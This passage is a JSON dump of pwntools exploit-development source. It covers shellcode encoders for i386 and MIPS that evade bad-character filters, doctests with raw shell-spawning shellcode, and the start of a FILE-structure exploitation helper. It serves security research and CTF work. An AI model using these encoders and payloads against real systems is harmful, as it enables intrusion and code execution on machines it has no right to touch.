\"\"\"scramble(raw_bytes) -> str\n\n    Encodes the input data with a random encoder.\n\n    Accepts the same arguments as :func:`encode`.\n    \"\"\"\n    return encode(raw_bytes, force=1, *a, **kw)\n"
  },
  {
    "path": "pwnlib/encoders/i386/__init__.py",
    "content": "from pwnlib.encoders.i386 import ascii_shellcode\nfrom pwnlib.encoders.i386 import delta\nfrom pwnlib.encoders.i386 import xor\n"
  },
  {
    "path": "pwnlib/encoders/i386/ascii_shellcode.py",
    "content": "\"\"\" Encoder to convert shellcode to shellcode that contains only ascii\r\ncharacters \"\"\"\r\n# https://github.com/Gallopsled/pwntools/pull/1667\r\n\r\nfrom itertools import product\r\n\r\nfrom pwnlib.context import LocalContext\r\nfrom pwnlib.context import context\r\nfrom pwnlib.encoders.encoder import Encoder\r\nfrom pwnlib.encoders.encoder import all_chars\r\nfrom pwnlib.util.iters import group\r\nfrom pwnlib.util.packing import *\r\n\r\n\r\nclass AsciiShellcodeEncoder(Encoder):\r\n    \"\"\" Pack shellcode into only ascii characters that unpacks itself and\r\n    executes (on the stack)\r\n\r\n    The original paper this encoder is based on:\r\n    https://julianor.tripod.com/bc/bypass-msb.txt\r\n\r\n    A more visual explanation as well as an implementation in C:\r\n    https://vincentdary.github.io/blog-posts/polyasciishellgen-caezar-ascii-shellcode-generator/index.html#22-mechanism\r\n    \"\"\"\r\n\r\n    def __init__(self, slop=20, max_subs=4):\r\n        \"\"\" Init\r\n\r\n        Args:\r\n            slop (int, optional): The amount esp will be increased by in the\r\n                allocation phase (In addition to the length of the packed\r\n                shellcode) as well as defines the size of the NOP sled (you can\r\n                increase/ decrease the size of the NOP sled by adding/removing\r\n                b'P'-s to/ from the end of the packed shellcode).\r\n                Defaults to 20.\r\n            max_subs (int, optional): The maximum amount of subtractions\r\n                allowed to be taken. This may be increased if you have a\r\n                relatively  restrictive ``avoid`` set. The more subtractions\r\n                there are, the bigger the packed shellcode will be.\r\n                Defaults to 4.\r\n        \"\"\"\r\n        super().__init__()\r\n        self.slop = slop\r\n        self.max_subs = max_subs\r\n\r\n    @LocalContext\r\n    def __call__(self, raw_bytes, avoid=None, pcreg=None):\r\n        r\"\"\" Pack shellcode into only ascii characters that unpacks itself and\r\n        executes (on the stack)\r\n\r\n        Args:\r\n            raw_bytes (bytes): The shellcode to be packed\r\n            avoid (set, optional): Characters to avoid. Defaults to allow\r\n                printable ascii (0x21-0x7e).\r\n            pcreg (NoneType, optional): Ignored\r\n\r\n        Raises:\r\n            RuntimeError: A required character is in ``avoid`` (required\r\n                characters are characters which assemble into assembly\r\n                instructions and are used to unpack the shellcode onto the\r\n                stack, more details in the paper linked above ``\\ - % T X P``).\r\n            RuntimeError: Not supported architecture\r\n            ArithmeticError: The allowed character set does not contain\r\n                two characters that when they are bitwise-anded with eachother\r\n                their result is 0\r\n            ArithmeticError: Could not find a correct subtraction sequence\r\n                to get to the the desired target value with the given ``avoid``\r\n                parameter\r\n\r\n        Returns:\r\n            bytes: The packed shellcode\r\n\r\n        Examples:\r\n\r\n            >>> context.update(arch='i386', os='linux')\r\n            >>> sc = b\"\\x83\\xc4\\x181\\xc01\\xdb\\xb0\\x06\\xcd\\x80Sh/ttyh/dev\\x89\\xe31\\xc9f\\xb9\\x12'\\xb0\\x05\\xcd\\x80j\\x17X1\\xdb\\xcd\\x80j.XS\\xcd\\x801\\xc0Ph//shh/bin\\x89\\xe3PS\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\"\r\n            >>> encoders.i386.ascii_shellcode.encode(sc)\r\n            b'TX-!!!!-\"_``-~~~~P\\\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~P-!!if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^PPPPPPPPPPPPPPPPPPPPP'\r\n            >>> avoid = {'\\x00', '\\x83', '\\x04', '\\x87', '\\x08', '\\x8b', '\\x0c', '\\x8f', '\\x10', '\\x93', '\\x14', '\\x97', '\\x18', '\\x9b', '\\x1c', '\\x9f', ' ', '\\xa3', '\\xa7', '\\xab', '\\xaf', '\\xb3', '\\xb7', '\\xbb', '\\xbf', '\\xc3', '\\xc7', '\\xcb', '\\xcf', '\\xd3', '\\xd7', '\\xdb', '\\xdf', '\\xe3', '\\xe7', '\\xeb', '\\xef', '\\xf3', '\\xf7', '\\xfb', '\\xff', '\\x80', '\\x03', '\\x84', '\\x07', '\\x88', '\\x0b', '\\x8c', '\\x0f', '\\x90', '\\x13', '\\x94', '\\x17', '\\x98', '\\x1b', '\\x9c', '\\x1f', '\\xa0', '\\xa4', '\\xa8', '\\xac', '\\xb0', '\\xb4', '\\xb8', '\\xbc', '\\xc0', '\\xc4', '\\xc8', '\\xcc', '\\xd0', '\\xd4', '\\xd8', '\\xdc', '\\xe0', '\\xe4', '\\xe8', '\\xec', '\\xf0', '\\xf4', '\\xf8', '\\xfc', '\\x7f', '\\x81', '\\x02', '\\x85', '\\x06', '\\x89', '\\n', '\\x8d', '\\x0e', '\\x91', '\\x12', '\\x95', '\\x16', '\\x99', '\\x1a', '\\x9d', '\\x1e', '\\xa1', '\\xa5', '\\xa9', '\\xad', '\\xb1', '\\xb5', '\\xb9', '\\xbd', '\\xc1', '\\xc5', '\\xc9', '\\xcd', '\\xd1', '\\xd5', '\\xd9', '\\xdd', '\\xe1', '\\xe5', '\\xe9', '\\xed', '\\xf1', '\\xf5', '\\xf9', '\\xfd', '\\x01', '\\x82', '\\x05', '\\x86', '\\t', '\\x8a', '\\r', '\\x8e', '\\x11', '\\x92', '\\x15', '\\x96', '\\x19', '\\x9a', '\\x1d', '\\x9e', '\\xa2', '\\xa6', '\\xaa', '\\xae', '\\xb2', '\\xb6', '\\xba', '\\xbe', '\\xc2', '\\xc6', '\\xca', '\\xce', '\\xd2', '\\xd6', '\\xda', '\\xde', '\\xe2', '\\xe6', '\\xea', '\\xee', '\\xf2', '\\xf6', '\\xfa', '\\xfe'}\r\n            >>> sc = shellcraft.echo(\"Hello world\") + shellcraft.exit()\r\n            >>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc), avoid)\r\n            >>> ascii += asm('jmp esp') # just for testing, the unpacker should also run on the stack\r\n            >>> ELF.from_bytes(ascii).process().recvall()\r\n            b'Hello world'\r\n        \"\"\"\r\n        if not avoid:\r\n            vocab = bytearray(\r\n                b\"!\\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")\r\n        else:\r\n            required_chars = set('\\\\-%TXP')\r\n            allowed = set(all_chars)\r\n            if avoid.intersection(required_chars):\r\n                raise RuntimeError(\r\n                    '''These characters ({}) are required because they assemble\r\n                    into instructions used to unpack the shellcode'''.format(\r\n                        str(required_chars, 'ascii')))\r\n            allowed.difference_update(avoid)\r\n            vocab = bytearray(map(ord, allowed))\r\n\r\n        if context.arch != 'i386' or context.bits != 32:\r\n            raise RuntimeError('Only 32-bit i386 is currently supported')\r\n\r\n        int_size = context.bytes\r\n\r\n        # Prepend with NOPs for the NOP sled\r\n        shellcode = bytearray(b'\\x90'*int_size + raw_bytes)\r\n        subtractions = self._get_subtractions(shellcode, vocab)\r\n        allocator = self._get_allocator(len(subtractions) + self.slop, vocab)\r\n        nop_sled = b'P' * self.slop  # push eax\r\n        return bytes(allocator + subtractions + nop_sled)\r\n\r\n    @LocalContext\r\n    def _get_allocator(self, size, vocab):\r\n        r\"\"\" Allocate enough space on the stack for the shellcode\r\n\r\n        int_size is taken from the context\r\n\r\n        Args:\r\n            size (int): The allocation size\r\n            vocab (bytearray): Allowed characters\r\n\r\n        Returns:\r\n            bytearray: The allocator shellcode\r\n\r\n        Examples:\r\n\r\n            >>> context.update(arch='i386', os='linux')\r\n            >>> vocab = bytearray(b'!\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~')\r\n            >>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab)\r\n            bytearray(b'TX-!!!!-!_``-t~~~P\\\\%!!!!%@@@@')\r\n        \"\"\"\r\n        size += 0x1e  # add typical allocator size\r\n        int_size = context.bytes\r\n        # Use eax for subtractions because sub esp, X doesn't assemble to ascii\r\n        result = bytearray(b'TX')  # push esp; pop eax\r\n        # Set target to the `size` arg\r\n        target = bytearray(pack(size))\r\n        # All we are doing here is adding (subtracting) `size`\r\n        # to esp (to allocate space on the stack), so we don't care\r\n        # about esp's actual value. That's why the `last` parameter\r\n        # for `calc_subtractions` can just be zero\r\n        for subtraction in self._calc_subtractions(\r\n                bytearray(int_size), target, vocab):\r\n            # sub eax, subtraction\r\n            result += b'-' + subtraction\r\n        result += b'P\\\\'  # push eax, pop esp\r\n        # Zero out eax for the unpacking part\r\n        pos, neg = self._find_negatives(vocab)\r\n        # and eax, pos; and eax, neg ; (0b00010101 & 0b00101010 = 0b0)\r\n        result += flat((b'%', pos, b'%', neg))\r\n        return result\r\n\r\n    @LocalContext\r\n    def _find_negatives(self, vocab):\r\n        r\"\"\" Find two bitwise negatives in the vocab so that when they are\r\n        and-ed the result is 0.\r\n\r\n        int_size is taken from the context\r\n\r\n        Args:\r\n            vocab (bytearray): Allowed characters\r\n\r\n        Returns:\r\n            Tuple[int, int]: value A, value B\r\n\r\n        Raises:\r\n            ArithmeticError: The allowed character set does not contain\r\n                two characters that when they are bitwise-and-ed with eachother\r\n                the result is 0\r\n\r\n        Examples:\r\n\r\n            >>> context.update(arch='i386', os='linux')\r\n            >>> vocab = bytearray(b'!\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~')\r\n            >>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab)\r\n            >>> a & b\r\n            0\r\n        \"\"\"\r\n        int_size = context.bytes\r\n        for products in product(vocab, vocab):\r\n            if products[0] & products[1] == 0:\r\n                return tuple(\r\n                    # pylint: disable=undefined-variable\r\n                    unpack(p8(x)*int_size)  # noqa: F405\r\n                    for x in bytearray(products)\r\n                )\r\n        else:\r\n            raise ArithmeticError(\r\n                'Could not find two bitwise negatives in the provided vocab')\r\n\r\n    @LocalContext\r\n    def _get_subtractions(self, shellcode, vocab):\r\n        r\"\"\" Covert the sellcode to sub eax and posh eax instructions\r\n\r\n        int_size is taken from the context\r\n\r\n        Args:\r\n            shellcode (bytearray): The shellcode to pack\r\n            vocab (bytearray): Allowed characters\r\n\r\n        Returns:\r\n            bytearray: packed shellcode\r\n\r\n        Examples:\r\n\r\n            >>> context.update(arch='i386', os='linux')\r\n            >>> sc = bytearray(b'ABCDEFGHIGKLMNOPQRSTUVXYZ')\r\n            >>> vocab = bytearray(b'!\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~')\r\n            >>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab)\r\n            bytearray(b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P')\r\n        \"\"\"\r\n        int_size = context.bytes\r\n        result = bytearray()\r\n        last = bytearray(int_size)\r\n        # Group the shellcode into bytes of stack cell size, pad with NOPs\r\n        # if the shellcode does not divide into stack cell size and reverse.\r\n        # The shellcode will be reversed again back to it's original order once\r\n        # it's pushed onto the stack\r\n        sc = tuple(group(int_size, shellcode, 0x90))[::-1]\r\n        # Pack the shellcode to a sub/push sequence\r\n        for x in sc:\r\n            for subtraction in self._calc_subtractions(last, x, vocab):\r\n                result += b'-' + subtraction  # sub eax, ...\r\n            last = x\r\n            result += b'P'  # push eax\r\n        return result\r\n\r\n    @LocalContext\r\n    def _calc_subtractions(self, last, target, vocab):\r\n        r\"\"\" Given `target` and `last`, return a list of integers that when\r\n         subtracted from `last` will equal `target` while only constructing\r\n         integers from bytes in `vocab`\r\n\r\n        int_size is taken from the context\r\n\r\n        Args:\r\n            last (bytearray): Original value\r\n            target (bytearray): Desired value\r\n            vocab (bytearray): Allowed characters\r\n\r\n        Raises:\r\n            ArithmeticError: If a sequence of subtractions could not be found\r\n\r\n        Returns:\r\n            List[bytearray]: List of numbers that would need to be subtracted\r\n            from `last` to get to `target`\r\n\r\n        Examples:\r\n\r\n            >>> context.update(arch='i386', os='linux')\r\n            >>> vocab = bytearray(b'!\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~')\r\n            >>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\\x10'*4), bytearray(b'\\x11'*4), vocab))\r\n            [bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')]\r\n            >>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\\x11\\x12\\x13\\x14'), bytearray(b'\\x15\\x16\\x17\\x18'), vocab))\r\n            [bytearray(b'~}}}'), bytearray(b'~~~~')]\r\n        \"\"\"\r\n        int_size = context.bytes\r\n        subtractions = [bytearray(int_size)]\r\n        for sub in range(self.max_subs):\r\n            carry = success_count = 0\r\n            for byte in range(int_size):\r\n                # Try all combinations of all the characters in vocab of\r\n                # `subtraction` characters in each combination. So if\r\n                # `max_subs` is 4 and we're on the second subtraction attempt,\r\n                # products will equal\r\n                # [\\, \", #, %, ...], [\\, \", #, %, ...], (0,), (0,)\r\n                for products in product(\r\n                    *[x <= sub and vocab or (0,) for x in range(self.max_subs)]\r\n                ):\r\n                    # Sum up all the products, carry from last byte and\r\n                    # the target\r\n                    attempt = target[byte] + carry + sum(products)\r\n                    # If the attempt equals last, we've found the combination\r\n                    if last[byte] == attempt & 0xff:\r\n                        carry = (attempt & 0xff00) >> 8\r\n                        # Update the result with the current `products`\r\n                        for p, i in zip(products, range(sub + 1)):\r\n                            subtractions[i][byte] = p\r\n                        success_count += 1\r\n                        break\r\n            if success_count == int_size:\r\n                return subtractions\r\n            else:\r\n                subtractions.append(bytearray(int_size))\r\n        else:\r\n            raise ArithmeticError(\r\n                str.format(\r\n                    '''Could not find the correct subtraction sequence\r\n                to get the the desired target ({}) from ({})''',\r\n                    target[byte], last[byte]))\r\n\r\n\r\nencode = AsciiShellcodeEncoder()\r\n"
  },
  {
    "path": "pwnlib/encoders/i386/delta.py",
    "content": "import collections\nfrom random import choice\nfrom random import randint\n\nfrom pwnlib.asm import asm\nfrom pwnlib.asm import disasm\nfrom pwnlib.context import context\nfrom pwnlib.encoders.encoder import Encoder\nfrom pwnlib.util.fiddling import hexdump\n\n\n'''\nbase:\n    fnop\n    cld\n    fnstenv     [esp - 0xc]\n    pop         esi\n    /* add esi, data - base */\n    .byte 0x83, 0xc6, data - base\n    mov edi, esi\nnext:\n    lodsb\n    xchg        eax, ebx\n    lodsb\n    sub         al, bl\n    stosb\n    sub         bl, 0xac\n    jnz         next\n\ndata:\n'''\n\nclass i386DeltaEncoder(Encoder):\n    r\"\"\"\n    i386 encoder built on delta-encoding.\n\n    In addition to the loader stub, doubles the size of the shellcode.\n\n    Example:\n\n        >>> sc = pwnlib.encoders.i386.delta.encode(b'\\xcc', b'\\x00\\xcc')\n        >>> e  = ELF.from_bytes(sc)\n        >>> e.process().poll(True)\n        -5\n    \"\"\"\n\n    arch       = 'i386'\n    stub       = None\n    terminator = 0xac\n    raw        = b'\\xd9\\xd0\\xfc\\xd9t$\\xf4^\\x83\\xc6\\x18\\x89\\xf7\\xac\\x93\\xac(\\xd8\\xaa\\x80\\xeb\\xacu\\xf5'\n\n    blacklist  = set(raw)\n\n    def __call__(self, raw_bytes, avoid, pcreg=''):\n        table = collections.defaultdict(lambda: [])\n        endchar = bytearray()\n\n        not_bad = lambda x: x not in avoid\n        not_bad_or_term = lambda x: not_bad(x) and x != self.terminator\n\n        for i in filter(not_bad_or_term, range(0, 256)):\n            endchar.append(i)\n            for j in filter(not_bad, range(0, 256)):\n                table[(j - i) & 0xff].append(bytearray([i, j]))\n\n        res = bytearray(self.raw)\n\n        for c in bytearray(raw_bytes):\n            l = len(table[c])\n            if l == 0:\n                print('No encodings for character %02x' % c)\n                return None\n\n            res += table[c][randint(0, l - 1)]\n\n        res.append(self.terminator)\n        res.append(choice(endchar))\n\n        return bytes(res)\n\nencode = i386DeltaEncoder()\n"
  },
  {
    "path": "pwnlib/encoders/i386/xor.py",
    "content": "# Source:\n# http://www.iodigitalsec.com/python-cascading-xor-polymorphic-shellcode-generator/\n#\n# License:\n#; Title Python XOR Shellcode Encoder\n#; Author npn <npn at iodigitalsec dot com>\n#; License http://creativecommons.org/licenses/by-sa/3.0/\n#; Legitimate use and research only\n#; This program is distributed in the hope that it will be useful,\n#; but WITHOUT ANY WARRANTY; without even the implied warranty of\n#; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\nfrom pwnlib import shellcraft\nfrom pwnlib.asm import asm\nfrom pwnlib.context import context\nfrom pwnlib.encoders.encoder import Encoder\nfrom pwnlib.util.fiddling import xor_pair\nfrom pwnlib.util.lists import group\n\n\n# Note shellcode assumes it's based at ecx\n\nclass i386XorEncoder(Encoder):\n    r\"\"\"Generates an XOR decoder for i386.\n\n    >>> context.clear(arch='i386')\n    >>> shellcode = asm(shellcraft.sh())\n    >>> avoid = b'/bin/sh\\xcc\\xcd\\x80'\n    >>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)\n    >>> assert not any(c in encoded for c in avoid)\n    >>> p = run_shellcode(encoded)\n    >>> p.sendline(b'echo hello; exit')\n    >>> p.recvline()\n    b'hello\\n'\n    >>> encoders.i386.xor.encode(asm(shellcraft.execve('/bin/sh')), avoid=bytearray([0x31]))\n    b'\\xd9\\xd0\\xd9t$\\xf4^\\xfcj\\x07Y\\x83\\xc6\\x19\\x89\\xf7\\xad\\x93\\xad1\\xd8\\xabIu\\xf7\\x00\\x00\\x00\\x00h\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x01\\x814$\\x00\\x00\\x00\\x00.ri\\x01\\x00\\x00\\x00\\x00h/bi\\x00\\x00\\x00\\x01n\\x89\\xe30\\x00\\x01\\x00\\x00\\xc90\\xd2j\\x00\\x00\\x00\\x00\\x0bX\\xcd\\x80'\n    \"\"\"\n\n    arch = 'i386'\n\n    stub = None\n\n    decoder = '''\nstart:\n    fnop\n    fnstenv [esp-0xc]\n    pop esi\n    cld\n    %s\n    /* add esi, offset */\n    .byte 0x83, 0xc6, (end-start)\n    mov edi, esi\nloop:\n    lodsd\n    xchg eax, ebx\n    lodsd\n    xor  eax, ebx\n    stosd\n    dec ecx\n    jnz loop\nend:\n'''\n\n    blacklist = set('\\x14$1I^tu\\x83\\x89\\x93\\xab\\xad\\xc6\\xd8\\xd9\\xf4\\xf7\\xfc')\n\n    def __call__(self, raw_bytes, avoid, pcreg=''):\n        while len(raw_bytes) % context.bytes:\n            raw_bytes += b'\\x00'\n\n        a, b = xor_pair(raw_bytes, avoid)\n\n        mov_ecx = shellcraft.i386.mov('ecx', len(raw_bytes) // context.bytes)\n        decoder = self.decoder % mov_ecx\n        decoder = asm(decoder)\n\n        for left, right in zip(group(context.bytes, a), group(context.bytes, b)):\n            decoder += left\n            decoder += right\n\n        return decoder\n\nencode = i386XorEncoder()\n"
  },
  {
    "path": "pwnlib/encoders/mips/__init__.py",
    "content": "from pwnlib.encoders.mips import xor\n"
  },
  {
    "path": "pwnlib/encoders/mips/xor.py",
    "content": "# Source:\n# https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/encoders/mips.py\n#\n# Copyright (c) 2013 Zachary Cutlip <uid000@gmail.com>,\n#               2013 Tactical Network Solutions, LLC\n#\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n# of the Software, and to permit persons to whom the Software is furnished to do\n# so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\nfrom pwnlib import asm\nfrom pwnlib import shellcraft\nfrom pwnlib.context import context\nfrom pwnlib.encoders.encoder import Encoder\nfrom pwnlib.util.fiddling import xor_key\n\ndecoders = {\n    'little': b''.join([\n    b'SIZ2SIZ1\\x0e\\x24',    # li t6,-5\n    b'\\x27\\x70\\xc0\\x01',    # nor    t6,t6,zero\n    b'\\xa3\\xff\\x0b\\x24',    # li t3,-93\n    b'\\x26\\x40\\xce\\x01',    # xor    t0,t6,t6\n    b'\\xff\\xff\\x08\\x21',    # addi   t0,t0,-1\n    b'\\xff\\xff\\x10\\x05',    # bltzal t0,14 <next>\n    b'\\x82\\x82\\x08\\x28',    # slti   t0,zero,-32126\n    b'\\xe0\\xff\\xfd\\x23',    # addi   sp,ra,-32\n    b'\\x27\\x58\\x60\\x01',    # nor    t3,t3,zero\n    b'\\x21\\xc8\\xeb\\x03',    # addu   t9,ra,t3\n    b'\\x82\\x82\\x17\\x28',    # slti   s7,zero,-32126\n    b'\\xfc\\xff\\x31\\x8f',    # lw s1,-4(t9)\n    b'\\xfb\\xff\\x0c\\x24',    # li t4,-5\n    b'\\x27\\x60\\x80\\x01',    # nor    t4,t4,zero\n    b'\\xfd\\xff\\x8f\\x21',    # addi   t7,t4,-3\n    b'\\xfc\\xff\\x28\\x8f',    # lw t0,-4(t9)\n    b'\\x21\\xb8\\xef\\x02',    # addu   s7,s7,t7\n    b'\\x26\\x18\\x11\\x01',    # xor    v1,t0,s1\n    b'\\x2b\\xf0\\xee\\x02',    # sltu   s8,s7,t6\n    b'\\xfc\\xff\\x23\\xaf',    # sw v1,-4(t9)\n    b'\\xfa\\xff\\x1e\\x14',    # bne    zero,s8,3c <loop>\n    b'\\x21\\xc8\\x2c\\x03',    # addu   t9,t9,t4\n    b'\\xfd\\xff\\x86\\x21',    # addi   a2,t4,-3\n    b'\\xf8\\xff\\xa6\\xaf',    # sw a2,-8(sp)\n    b'\\x26\\x28\\xce\\x01',    # xor    a1,t6,t6\n    b'\\xfc\\xff\\xa5\\xaf',    # sw a1,-4(sp)\n    b'\\xf8\\xff\\xa4\\x27',    # addiu  a0,sp,-8\n    b'\\x46\\x10\\x02\\x24',    # li v0,4166\n    b'\\x0c\\x54\\x4a\\x01'     # syscall   0x52950\n    ]),\n    'big': b''.join([\n    b'\\x24\\x0eSIZ1SIZ2',    # li t6,-5\n    b'\\x01\\xc0\\x70\\x27',    # nor    t6,t6,zero\n    b'\\x24\\x0b\\xff\\xa3',    # li t3,-93\n    b'\\x01\\xce\\x40\\x26',    # xor    t0,t6,t6\n    b'\\x21\\x08\\xff\\xff',    # addi   t0,t0,-1\n    b'\\x05\\x10\\xff\\xff',    # bltzal t0,14 <next>\n    b'\\x28\\x08\\x82\\x82',    # slti   t0,zero,-32126\n    b'\\x23\\xfd\\xff\\xe0',    # addi   sp,ra,-32\n    b'\\x01\\x60\\x58\\x27',    # nor    t3,t3,zero\n    b'\\x03\\xeb\\xc8\\x21',    # addu   t9,ra,t3\n    b'\\x28\\x17\\x82\\x82',    # slti   s7,zero,-32126\n    b'\\x8f\\x31\\xff\\xfc',    # lw s1,-4(t9)\n    b'\\x24\\x0c\\xff\\xfb',    # li t4,-5\n    b'\\x01\\x80\\x60\\x27',    # nor    t4,t4,zero\n    b'\\x21\\x8f\\xff\\xfd',    # addi   t7,t4,-3\n    b'\\x8f\\x28\\xff\\xfc',    # lw t0,-4(t9)\n    b'\\x02\\xef\\xb8\\x21',    # addu   s7,s7,t7\n    b'\\x01\\x11\\x18\\x26',    # xor    v1,t0,s1\n    b'\\x02\\xee\\xf0\\x2b',    # sltu   s8,s7,t6\n    b'\\xaf\\x23\\xff\\xfc',    # sw v1,-4(t9)\n    b'\\x14\\x1e\\xff\\xfa',    # bne    zero,s8,3c <loop>\n    b'\\x03\\x2c\\xc8\\x21',    # addu   t9,t9,t4\n    b'\\x21\\x86\\xff\\xfd',    # addi   a2,t4,-3\n    b'\\xaf\\xa6\\xff\\xf8',    # sw a2,-8(sp)\n    b'\\x01\\xce\\x28\\x26',    # xor    a1,t6,t6\n    b'\\xaf\\xa5\\xff\\xfc',    # sw a1,-4(sp)\n    b'\\x27\\xa4\\xff\\xf8',    # addiu  a0,sp,-8\n    b'\\x24\\x02\\x10\\x46',    # li v0,4166\n    b'\\x01\\x4a\\x54\\x0c'    # syscall 0x52950\n    ])\n}\n\n\n\nclass MipsXorEncoder(Encoder):\n    r\"\"\"Generates an XOR decoder for MIPS.\n\n    >>> context.clear(arch='mips')\n    >>> shellcode = asm(shellcraft.sh())\n    >>> avoid = b'/bin/sh\\x00'\n    >>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)\n    >>> assert not any(c in encoded for c in avoid)\n    >>> p = run_shellcode(encoded)\n    >>> p.sendline(b'echo hello; exit')\n    >>> p.recvline()\n    b'hello\\n'\n    \"\"\"\n\n    arch = 'mips'\n    blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))\n\n    def __call__(self, raw_bytes, avoid, pcreg=''):\n\n        assert 0 == len(raw_bytes) % context.bytes, \"Payload is not aligned\"\n\n        size = (len(raw_bytes) // 4) + 1\n        assert size < 0x10000, \"Payload is too long\"\n\n        size   = size ^ 0xffff\n        sizelo = size & 0xff\n        sizehi = size >> 8\n\n        decoder = decoders[context.endian]\n        decoder = decoder.replace(b'SIZ1', bytes([sizehi]))\n        decoder = decoder.replace(b'SIZ2', bytes([sizelo]))\n\n        key, data = xor_key(raw_bytes, avoid=avoid)\n\n        return decoder + key + data\n\nencode = MipsXorEncoder()\n"
  },
  {
    "path": "pwnlib/exception.py",
    "content": "__all__ = ['PwnlibException']\nimport sys\nimport traceback\n\n\nclass PwnlibException(Exception):\n    '''Exception thrown by :func:`pwnlib.log.error`.\n\n    Pwnlib functions that encounters unrecoverable errors should call the\n    :func:`pwnlib.log.error` function instead of throwing this exception directly.'''\n    def __init__(self, msg, reason = None, exit_code = None):\n        '''bar'''\n        Exception.__init__(self, msg)\n        self.reason = reason\n        self.exit_code = exit_code\n        self.message = msg\n\n    def __repr__(self):\n        s = 'PwnlibException: %s' % self.message\n        if self.reason:\n            s += '\\nReason:\\n'\n            s += ''.join(traceback.format_exception(*self.reason))\n        elif sys.exc_info()[0] not in [None, KeyboardInterrupt]:\n            s += '\\n'\n            s += ''.join(traceback.format_exc())\n        return s\n"
  },
  {
    "path": "pwnlib/filepointer.py",
    "content": "r\"\"\"\nFile Structure Exploitation\n\nstruct FILE (_IO_FILE) is the structure for File Streams.\nThis offers various targets for exploitation on an existing bug in the code.\nExamples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.\n\nRemembering the offsets of various structure members while faking a FILE structure can be difficult,\nso this python class helps you with that. Example-\n\n>>> context.clear(arch='amd64')\n>>> fileStr = FileStructure(null=0xdeadbeef)\n>>> fileStr.vtable = 0xcafebabe\n>>> payload = bytes(fileStr)\n>>> payload\nb'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0